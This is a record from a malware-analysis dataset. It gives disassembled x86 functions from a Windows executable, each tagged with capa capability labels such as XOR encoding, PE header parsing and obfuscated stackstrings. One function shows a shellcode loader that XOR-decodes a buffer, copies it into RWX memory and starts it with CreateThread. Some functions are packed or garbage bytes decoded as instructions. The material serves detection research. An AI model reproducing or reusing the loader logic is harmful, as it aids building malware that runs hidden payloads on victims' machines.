joyce8/EMBER2024-capa huggingface dataset:
Function at 0xcba413
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 0xc]
jae 0x13bde69
shl ecx, 0x18
add ecx, 0x9cef40c9
mov ebx, eax
shld cx, bp, 4
bsf edi, esi
bt ecx, ecx
stc
mov edi, eax
sar cl, 7
mov ecx, 0x104
clc
push 0x500a7fcd
mov dword [esp], 0xee813fe2
xor al, al
push dword [esp]
mov word [esp + 4], si
repne scasb al, byte es:[edi]
call fcn.013b9e68
cdq
je 0xcba4b8
out 0xf6, al
cld
fcompi st(6)
out dx, al
out dx, al
mul esi
fild dword [eax + 0x5b]
push 0x1f
cmp dword [edx], edi
cwde
movsd dword es:[edi], dword [esi]
mov eax, 0x371465df
inc edx
scasd eax, dword es:[edi]
mov eax, dword [0x2c47c769]
pop ds
cmp dword [edx], edi
pop ss
xor ah, byte [edi]
push ss
aaa
pop edi
in al, 0x78
loopne 0xcba477
dec eax
jne 0xcba466
adc ebp, esi
adc al, byte [edi]
mov ah, 0x35
jle 0xcba511
pop ecx
jle 0xcba4f5
or ebx, dword [edi]
adc eax, 0x59fc3f36
sbb byte [ebx - 0x30], ah
test eax, 0x666e887f
dec esi
push ds
or eax, dword [edi]
sbb byte [eax + 0x20], cl
add al, 7
sbb bl, byte [ebx + 0x31b0a3f7]
daa
sub eax, 0xe081a51e
shr dword [edx + 0x5b], cl
jl 0xcba50c
pop es
or al, 0x2d
sbb byte [ecx + 0x60], dl
adc dword [eax + 0x6ba88b87], edx
cmp eax, 0x1dec78ad
adc ah, byte [ebx - 0x3f]
cwde
jmp 0xc7c2ac7f
xor dword [eax + 0x19], esp
leave
clc
pushal
lea ecx, [ecx + ecx*2 + 0xb]
lea esp, [esp + 0x44]
stc
cmc
cmp dh, 0xb4
cmc
push ecx
cmc
shrd ecx, eax, 1
sub cx, 0xbb66
push esi
shrd cx, sp, cl
lodsb al, byte [esi]
rol dword [ecx], 0x66
sub ecx, 0x6656bb66
shrd ecx, esp, cl
jmp 0x6722607c
lea ecx, [eax + 2]
sal si, 0xf
movzx si, bl
mov esi, dword [ebp - 0x20]
rcl al, 1
sal al, 2
not esi
dec al
add esi, edi
pushfd
seta al
setnp al
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14719add]
lea ecx, [edi + 0x50ee1aee]
xchg al, cl
movzx cx, al
mov esi, dword [esp + 4]
lea ecx, [ecx*4 - 0x7a9c3d50]
jmp 0x13f85f0
mov byte [esp + 4], 0x73
pushfd
mov al, byte [edi - 1]
jmp 0x13b9d0e
jmp 0x13e3fc4
mov byte [esp], 1
mov byte [esp], al
mov byte [ebp - 2], al
pushal
mov byte [esp], 0x43
push dword [esp]
lea esp, [esp + 0x34]
jmp 0xcb9756
bswap ecx
mov ecx, dword [esp + 8]
jmp 0xd1523f
Function at 0x13dbfbf
Capabilities:
Encode data using xor

Disassembly:
mov byte [esp + 0x18], 0xdb
mov dword [esp + 0x24], 0xcaa902
pushfd
call fcn.00cba072
sub ebp, eax
jns 0x13dc01f
mov al, byte [0x2bff8de0]
call 0xf7b20951
je 0x13dbfce
cmp ah, byte [ecx]
adc al, 0x2d
cmp byte [0x81b4af34], dh
invalid
jecxz 0x13dc07a
mov ebp, 0x15153a92
and dword ss:[eax], ecx
cmp dword [ecx + ebx*2], esi
dec esp
sbb dword [esp + eax*2 + 0x67], ecx
lds edx, [eax - 0x1e7acdc9]
ret 0x7a97
dec ebp
adc dh, byte [ecx + 0x5e]
push esi
jns 0x13dc0b9
cmp dword [ebp + edx + 0x48], ecx
sub eax, 0x17c056c
dec eax
xor esp, ebx
invalid
mov ah, 0xb9
mov al, 0x91
nop
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x62477e68], cl
aas
mov edi, 0x20067c80
and byte [ebx], bl
or bl, byte [ebx - 7]
inc edi
xor byte [edi - 0x26], al
adc dword [ebx + 0x58], ebp
pop eax
jg 0x13dc0d2
ficom dword [ecx]
imul ebx, dword [eax + 0x58], 0x7f
dec esi
adc esi, dword [edx - 0x4e5327e7]
and al, 0x11
outsb dx, byte [esi]
xor al, 0x94
aas
inc edx
inc edi
add al, 0x98
jno 0x13dc109
shl dword [ecx - 0x7804c97b], 1
cmp al, 0xe0
fmul st(3), st(0)
pushfd
mov eax, dword [0xd9a95bfb]
pop es
insd dword es:[edi], dx
and byte [ebp - 0x4d3e87d7], bl
xlatb
xchg ebx, ecx
rcl esi, 0x74
sti
js 0x13dc03d
loopne 0x13dc07d
retf
add dword [edi + edi*4 + 0x1f73178c], 0xffffffa4
test byte [edi + 0x1f73178c], bh
movsb byte es:[edi], byte [esi]
sbb dword [ebx - 0x4be98c56], edi
cmc
leave
lodsb al, byte [esi]
jnp 0x13dc063
and byte [esi - 0x57264b77], 0xc9
leave
mov eax, 0x8ccd94e1
fstp qword [eax + 0x237bb8d1]
jb 0x13dc09f
stosd dword es:[edi], eax
inc esi
outsd dx, dword [esi]
xor cl, byte [edi + 0x71]
das
lea ebp, [esi + 0x48]
je 0x13dc0e2
sub eax, 0x6a3a0302
and eax, dword [esi]
xchg esp, eax
or byte [edx + 0x41fc2785], 0x1b
adc dword [ebx + 0x64], ebx
invalid
cmp cl, byte [ebx]
push ds
adc ecx, dword [esi]
and eax, dword [edx]
pop es
add ah, byte [ebx + 0x1a]
mov ch, 0xcc
xchg ecx, eax
clc
add byte [edi - 0x4c9a387e], 0x14
adc ah, byte [eax - 0x71]
invalid
Function at 0x13f8268
Capabilities:
Encode data using xor

Disassembly:
ret 0xaa01
lea esp, [esp + 4]
ja 0x13ba38c
cmc
bt sp, bp
imul edx, edx, 0xa
call fcn.013c08cb
inc edx
loopne 0x13f8165
xchg dword [edx - 0xa], esi
jo 0x13f821e
inc edx
pop esi
ja 0x13f8206
inc edi
pop esi
outsd dx, dword [esi]
push 0x7f
inc edx
dec edi
mov word [esi + 4], gs
inc dword [ecx]
inc ebx
inc ebx
dec esp
dec ebp
or al, 0x6d
iretd
mov edx, dword [esp + edx*4 - 0xa982771]
push esi
dec ebp
sbb ah, byte [ebp + 0x1f20d018]
invalid
jb 0x13f8297
imul eax, dword ss:[edx], 0x4f
sbb al, byte [edi + 0x12]
jg 0x13f8267
dec edi
xchg esp, eax
mov ah, 0xa7
mov byte [0x8e8585ea], al
out dx, eax
stosb byte es:[edi], al
xchg esp, eax
imul edx, edx, 0xa
jmp 0x1428f63
jmp dword [esi - 0x77]
call fcn.013debf3
dec ecx
mov dl, bh
xchg byte [edx - 0xa], dh
xchg esp, eax
pop dword [edx - 0x41485141]
wait
mov byte [0xaa9b9ab7], al
wait
not byte [eax + edx - 0x1f]
mov ebp, 0xebeedd9c
scasb al, byte es:[edi]
inc ebx
invalid
call fcn.013dec2f
popfd
aas
and byte [ecx + 0x6f], bh
test byte [0x17263b06], 0x12
sub eax, dword [esi]
pop ss
sbb al, byte [ebx]
push ss
aaa
add bl, byte [ebx - 0x4a]
add al, 0x99
inc esi
mov esp, 0x9ed7a297
cmp al, 0x8c
jmp 0x142900a
sar dword [edi], cl
mov dl, 0
aas
aam 0xf3
invalid

Function at 0x13f8a0d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 0x14]
je 0x13ddd13
add si, 0xcc5
and edx, 0xdf919d53
movzx edx, bl
jmp 0x13fe142
test eax, eax
mov byte [esp + 8], bh
jmp 0x13f797a
Function at 0x4035a8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x4035c9
jl 0x4035c0
test edi, edi
jne 0x4035c9
xor eax, eax
xor edx, edx
jmp 0x40368a
cmp dword [ebx + 0x38], 0
je 0x4035de
push eax
push edi
push dword [ebp + 8]
call fcn.00403690
jmp 0x40368a
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403625
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403625
cmp eax, edi
jb 0x4035ff
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405200
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40362b
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40367f
mov ecx, ebx
call fcn.00402df8
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40366a
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040c18e
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40367f
jmp 0x40363d
test edx, edx
je 0x40367f
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040c18e
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x404dd0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404e0f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404e0f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404e0f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404e0f
cmp dword [ecx + 0x74], 0xe
jbe 0x404e0f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411517
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4258b0
push 0x4258a8
push str.FlsAlloc
push 0x1e
call fcn.00411384
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41154b
push dword [ebp + 8]
mov ecx, esi
call dword [0x422140]
call esi
jmp 0x411551
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x411595
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4258c0
push 0x4258b8
push str.FlsGetValue
push 0x20
call fcn.00411384
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4115cc
push dword [ebp + 8]
mov ecx, esi
call dword [0x422140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x414c50
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414ac1

Function at 0x41504a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00405150
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00412a3b
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41508c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4151e8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041fa50
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x462658]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00416041
mov ecx, dword [esi*4 + 0x462658]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4151e1
cmp eax, dword [edi + ecx + 0x24]
jne 0x4151e1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4151e1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00416041
add esp, 0x14
test edx, edx
jl 0x4151e1
jg 0x415157
test eax, eax
jb 0x4151e1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4151e1
jl 0x415171
cmp dword [ebp - 0x1008], eax
ja 0x4151e1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41518f
test ebx, ebx
je 0x4151c8
cmp ecx, edi
jae 0x4151c8
mov al, byte [ecx]
cmp al, 0xd
jne 0x4151a9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4151b5
cmp byte [ecx + 1], 0xa
jne 0x4151b5
inc ecx
jmp 0x4151b5
movzx eax, al
movsx eax, byte [eax + 0x42c310]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41518f
cmp edx, ebx
jne 0x41518f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4151e6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004045e5
leave
ret
Function at 0x4154df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x462658]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41551f
cmp byte [ebx], 0xa
jne 0x41551f
or byte [eax + edi + 0x28], 4
jmp 0x415524
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x415622
mov al, byte [edx]
cmp al, 0x1a
je 0x415604
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x415553
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x415578
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x415582
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x415535
jmp 0x415622
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4155ff
cmp dword [ebp - 0xc], 0
je 0x4155ff
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x462658]
test byte [eax + edi + 0x28], 0x48
je 0x4155d9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4155c4
mov byte [esi], dl
jmp 0x4155d5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x462658]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x415622
cmp byte [ebp - 1], 0xa
jne 0x4155e8
cmp esi, ebx
jne 0x4155e8
mov byte [esi], 0xa
jmp 0x415621
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041605f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x415622
mov byte [esi], 0xd
jmp 0x415621
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x462658]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41561e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x415622
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41562b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x462658]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41566e
cmp word [esi], dx
jne 0x41566e
or byte [edi + eax + 0x28], 4
jmp 0x415673
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4157c6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4157a6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4156b5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4156eb
cmp eax, edx
jae 0x4156f7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41568d
jmp 0x4157c6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4157a2
cmp dword [ebp - 0x14], 0
je 0x4157a2
mov eax, dword [ebx*4 + 0x462658]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41577a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x415743
mov word [esi], cx
jmp 0x415776
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x462658]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x462658]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x462658]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4157c6
pop ebx
cmp word [ebp - 4], bx
jne 0x41578b
cmp esi, dword [ebp + 0xc]
jne 0x41578b
mov word [esi], bx
jmp 0x4157c3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041605f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4157c6
push 0xd
jmp 0x4157bf
mov ecx, dword [ebx*4 + 0x462658]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4157bd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4157c6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4185a9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x418646
push ebx
push esi
call fcn.00418572
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004171f7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4185f3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418645
push edi
push eax
call fcn.00411b4a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x418613
call fcn.004110a9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418644
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004171f7
add esp, 0x20
test eax, eax
jne 0x418632
push edi
call fcn.004110a9
jmp 0x41863a
push ebx
call fcn.004110a9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41f850
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f87d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f87d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x421000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov al, byte [esi + 0x4612e0]
xor al, 0x73
sub al, 0x6c
mov byte [esi + 0x4612e0], al
call fcn.00401d22
push eax
call fcn.00401ee5
mov al, byte [esi + 0x4612e0]
xor al, 0x74
mov dword [esp], str.Taste
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
mov byte [esi + 0x4612e0], al
call fcn.004010d6
lea ecx, [ebp - 0x1c]
mov dword [esp], 0x429a34
call fcn.00401964
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.0040b43d
xor byte [esi + 0x4612e0], al
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00401a6b
inc esi
cmp esi, 0x4ac
jb 0x421013
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004045e5
leave
ret 8
Function at 0x421099
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 1
mov edi, eax
call fcn.004045f8
lea ecx, [esp + 0x18]
mov dword [esp], str.Reload
mov esi, eax
call fcn.00401964
cmp dword [esp + 0x28], 0xf
lea ecx, [esp + 0x14]
cmova ecx, dword [esp + 0x14]
push ecx
push str.Constant_message:__s
call fcn.004010d6
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401a6b
push ecx
push ecx
call fcn.00421000
push 1
push esi
call fcn.00404628
push ebx
push 0x4612e0
push edi
call fcn.00405200
add esp, 0x14
lea eax, [edi + 0x188]
xor ebx, ebx
push ebx
push ebx
push 0x42cae0
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004045e5
mov esp, ebp
pop ebp
ret
Function at 0x460a92
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0x3c]
add eax, edx
add eax, 4
add eax, 0x14
lea eax, [eax + 0x60]
add eax, 8
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x118], 0x49
mov byte [ebp - 0x117], 0x6d
mov byte [ebp - 0x116], 0x70
mov byte [ebp - 0x115], 0x6f
mov byte [ebp - 0x114], 0x72
mov byte [ebp - 0x113], 0x74
mov byte [ebp - 0x112], 0x20
mov byte [ebp - 0x111], 0x54
mov byte [ebp - 0x110], 0x61
mov byte [ebp - 0x10f], 0x62
mov byte [ebp - 0x10e], 0x6c
mov byte [ebp - 0x10d], 0x65
mov byte [ebp - 0x10c], 0x3a
mov byte [ebp - 0x10b], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x460b67
lea esi, [ebp - 0x14]
mov ecx, 0x14
mov al, 0
mov byte [esi], al
inc esi
dec ecx
jne 0x460b31
mov ebx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov edi, ebx
mov ecx, 0x14
repe cmpsb byte [esi], byte es:[edi]
je 0x460b5d
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00460b71
test eax, eax
je 0x460b67
add ebx, 0x14
jmp 0x460b3a
popal
mov eax, 1
leave
ret 8
popal
mov eax, 0
leave
ret 8
Function at 0x460b71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
pushal
mov eax, 1
test eax, eax
je 0x460ddd
mov byte [ebp - 0x10c], 0x50
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x6f
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0x108], 0x65
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0x105], 0x69
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0x67
mov byte [ebp - 0x102], 0x20
mov byte [ebp - 0x101], 0x49
mov byte [ebp - 0x100], 0x6d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x6f
mov byte [ebp - 0xfd], 0x72
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x20
mov byte [ebp - 0xfa], 0x44
mov byte [ebp - 0xf9], 0x69
mov byte [ebp - 0xf8], 0x72
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x63
mov byte [ebp - 0xf5], 0x74
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x3a
mov byte [ebp - 0xf0], 0
mov eax, 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 1
test eax, eax
je 0x460ddd
mov eax, 1
test eax, eax
je 0x460ddd
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x460ddd
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
sub ecx, ecx
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [eax]
test eax, eax
je 0x460dd3
mov ebx, eax
and eax, 0x80000000
jne 0x460d4a
mov byte [ebp - 0x10c], 0x4e
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x6d
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x3a
mov byte [ebp - 0x107], 0x20
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x460ddd
add ebx, dword [ebp + 0xc]
lea ebx, [ebx + 2]
mov eax, ebx
mov eax, 1
test eax, eax
je 0x460ddd
mov eax, 1
test eax, eax
je 0x460ddd
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x460ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x460ca5
mov byte [ebp - 0x10c], 0x4f
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x64
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6e
mov byte [ebp - 0x107], 0x61
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x3a
mov byte [ebp - 0x104], 0x20
mov byte [ebp - 0x103], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x460ddd
xor ebx, 0x80000000
mov eax, ebx
mov eax, 1
test eax, eax
je 0x460b67
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x460ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x460ca5
popal
mov eax, 1
leave
ret 0xc
popal
mov eax, 0
leave
ret 0xc